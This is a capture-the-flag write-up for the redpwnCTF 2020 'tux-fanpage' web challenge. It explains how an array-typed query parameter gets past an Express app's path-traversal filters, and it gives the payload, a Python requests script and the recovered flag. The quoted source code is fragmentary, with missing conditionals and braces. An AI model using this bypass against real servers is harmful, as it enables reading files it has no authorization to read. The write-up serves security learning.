redpwnCTF 2020 web


I knew this was a path traversal challenge from the url immediately when I saw it. It's typical form of page?path=index.html showed it.
We were also given the back end since there are some filters there to prevent path traversal.

Source code

app.get('/page', (req, res) => {

    let path = req.query.path

    //Handle queryless request
    if(!path || !strip(path)){

    path = strip(path)

    path = preventTraversal(path)

    res.sendFile(prepare(path), (err) => {
            if (! res.headersSent) {
                try {
                    res.send(strip(req.query.path) + ' not found')
                } catch {

This is where we take in the input and renders out the page. But before sendFile() is called, the string must go through strip , preventTraversal and prepare


Here it checks if dir contains any ../ or ..\\ it removes it if it exists.

//Prevent directory traversal attack
function preventTraversal(dir){
        let res = dir.replace('../', '')
        return preventTraversal(res)

    //In case people want to test locally on windows
        let res = dir.replace('..\\', '')
        return preventTraversal(res)
    return dir


This function will create an absolute path using ./public/ and dir by concatenating them.

//Get absolute path from relative path
function prepare(dir){
    return path.resolve('./public/' + dir)


Strip will get rid of all leading non-alphanumeric elements.

//Strip leading characters
function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
        if(dir.length > 0){
            return strip(dir.slice(1))
        return ''

    return dir

My attempts

First, I thought that I could bypass the filters with wired encodings, but that wouldn't work here since it will need some sort of special character to work and strip takes care of it.
Then I tried to do stuff within in the assets folder where all the images and resources are stored. No luck.
Then I say something that hinted me


When I was closely checking the strip function, I saw something interesting:


This seemingly checks the first character of a string, but that's only the case if we input a string. What if we send in an array? Well in that case, strip will only check the first element instead of the first character.


Then I experimented with arrays by running commands in the nodejs console. And I found out that we could bypass the filters.
For preventTraversal if we pass in an array to includes() we check each element, instead of all characters. In this case if our payload is not pure ../ we could by pass it.
For prepare I experimented with concatenation between string and arrays and found that it will just render the array elements with ','.


Consider this payload:


The '1' solves the strip filter, then by manipulating and testing the concatenation, we get

./public/+['1','/','/../../../index.js'] =

which is perfect for us. But how do we input an array?

input arrays

We could use the python requests library or we could do it by hand. Here's my python script and the printed out url.

import requests
payload = {'path': ['1','/','/../../../index.js']}
r = requests.get('https://tux-fanpage.2020.redpwnc.tf/page', params=payload)

The url:



const flag = 'flag{tr4v3rsal_Tim3}'